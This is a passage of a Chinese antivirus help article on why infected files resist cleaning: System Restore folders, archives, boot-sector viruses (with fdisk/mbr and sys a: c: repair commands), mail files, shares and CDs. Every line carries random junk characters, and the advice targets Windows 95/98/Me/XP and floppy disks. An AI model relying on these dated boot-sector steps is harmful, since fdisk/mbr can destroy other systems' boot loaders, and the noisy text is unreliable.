 q	El:2 <  2、带毒文件在\_Restore目录下,或者System Volume Information目录下。 
 ?lnX."eAdB  这是系统还原存放还原文件的目录,只有在装了Windows Me/XP操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消"系统还原"功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。 关闭系统还原方法。WindowsMe的话,禁用系统还原,DOS下删除。具体请参考下文: 
 us"SM\X#  http://community.rising.com.cn/Forum/msg_read.asp?FmID=33&SubjectID=2028691&page=1。XP关闭系统还原的方法:右键单击“我的电脑”,选“属性”——“系统还原”——在“在所有驱动器上关闭系统还原”前面打勾——按“确定”退出。 
  'D-eFJ5  3、带毒文件在.rar、.zip、.cab等压缩文件中。 
 zK(9k0+s  现今能支持直接查杀压缩文件中带毒文件的反病毒软件还很少,即使有也只能支持常用的一些压缩格式;所以,对于绝大多数的反病毒软件来说,最多只能检查出压缩文件中的带毒文件,而不能直接清除。而且有些加密了的压缩文件就更不可能直接清除了。 
 R#1h.8  要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。 
 ~ULuX"n  4、病毒在引导区或者SUHDLOG.DAT或SUHDLOG.BAK文件中。 
 =<y$5"|  这种病毒一般是引导区病毒,报告的病毒名称一般带有boot、wyx等字样。如果病毒只是存在于移动存储设备(如软盘、闪存盘、移动硬盘)上,就可以借助本地硬盘上的反病毒软件直接进行查杀;如果这种病毒是在硬盘上,则需要用干净的可引导盘启动进行查杀。 
 &`0y<0z   对于这类病毒建议用干净软盘启动进行查杀,不过在查杀之前一定要备份原来的引导区,特别是原来装有别的操作系统的情况,如日文Windows、Linux等。 
 Z 3m5D K  如果没有干净的可引导盘,则可使用下面的方法进行应急杀毒: 
 D0v!fF~  (1) 在别的计算机上做一张干净的可引导盘,此引导盘可以在Windows 95/98/ME系统上通过"添加/删除程序"进行制作,但要注意的是,制作软盘的操作系统须和自己所使用的操作系统相同; 
 0rxlN
[Yp  (2) 用这张软盘引导启动带毒的计算机,然后运行以下命令: 
 pjvChl5  A:\>fdisk/mbr 
  ;iy]mPd  A:\>sys a: c: 
 73A1+2  如果带毒的文件是在SUHDLOG.DAT或SUHDLOG.BAK文件中,那么直接删除即可。这是系统在安装的时候对硬盘引导区做的一个备份文件,一般作用不大,病毒在其中已经不起作用了。 
 l6:k|hrm;  5、带毒文件的后缀名是.vir、.kav、.kbk等。 
 D!Owm&We  这些文件一般是一些防毒软件对原来带毒的文件做的备份文件,一般情况下,如果确认这些文件已经无用了,那就将这些文件删除即可。 
 Z+' 7c|a  6、带毒文件在一些邮件文件中,如dbx、eml、box等。 
 BR8z%R  有些防毒软件可以直接检查这些邮件文件中的文件是否带毒,但往往不能对这些带毒的文件直接的进行操作,对于一些邮箱中的带毒的信件,可以根据防毒软件提供的信息找到那带毒的信件,删除信件中的附件或者删除该信件;如果是eml、nws一些信件文件带毒,可以用相关的邮件软件打开,确认该信件及其附件,然后删除相关内容。一般有大量的eml、nws的带毒文件的话,都是病毒自动生成的文件,建议都直接删除。 
 *$Aneq0f  7、文件中有病毒的残留代码。 
 K!7o#"GM  这种情况比较多见的就是带有CIH、Funlove、宏病毒(包括Word、Excel、Powerpoint和Wordpro等文档中的宏病毒)和个别网页病毒的残留代码,通常防毒软件对这些带有病毒残留代码的文件报告的病毒名称后缀通常是int、app等结尾,而且并不常见,如W32/FunLove.app、W32.Funlove.int。一般情况下,这些残留的代码不会影响正常程序的运行,也不会传染,如果需要彻底清除的话,要根据各个病毒的实际情况进行清除。 
 25XD	fi75  8、文件错误。 
 m%m/#\J	E  这种情况出现的并不多,通常是某些防毒软件将原来带毒的文件并没有很干净地清除病毒,也没有很好的修复文件,造成文件无法正常使用,同时造成别的防毒软件的误报。这些文件可以直接删除。 
 _=3H!b	=  9、加密的文件或目录。 
 #yFDC@gH1  对于一些加密了的文件或目录,请在解密后再进行病毒查杀。 
 id\0yRBt  10、共享目录。 
 J~V`"uo  这里包括两种情况:本地共享目录和网络中远程共享目录(其中也包括映射盘)。遇到本地共享的目录中的带毒文件不能清除的情况,通常是局域网中别的用户在读写这些文件,杀毒的时候表现为无法直接清除这些带毒文件中的病毒,如果是有病毒在对这些目录在写病毒操作,表现为对共享目录进行清除病毒操作后,还是不断有文件被感染或者不断生成病毒文件。以上这两种情况,都建议取消共享,然后针对共享目录进行彻底查杀,恢复共享的时候,注意不要开放太高的权限,并对共享目录加设密码。对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。如果是远程计算机感染病毒的话,建议还是直接在远程计算机进行查杀病毒。特别的,如果在清除别的病毒的时侯都建议取消所有的本地共享,再进行杀毒操作。在平时的使用中,也应注意共享目录的安全性,加设密码,同时,非必要的情况下,不要直接读取远程共享目录中的文件,建议拷贝到本地检查过病毒后再进行操作。 
 e57}.pF^  11、光盘等一些存储介质。 
 3cBuqQ  对于光盘上带有的病毒,不要试图直接清除,这是神仙也做不到的事情。同时,对另外一些存储设备查杀病毒的,也需要注意其是否处于写保护或者密码保护状态。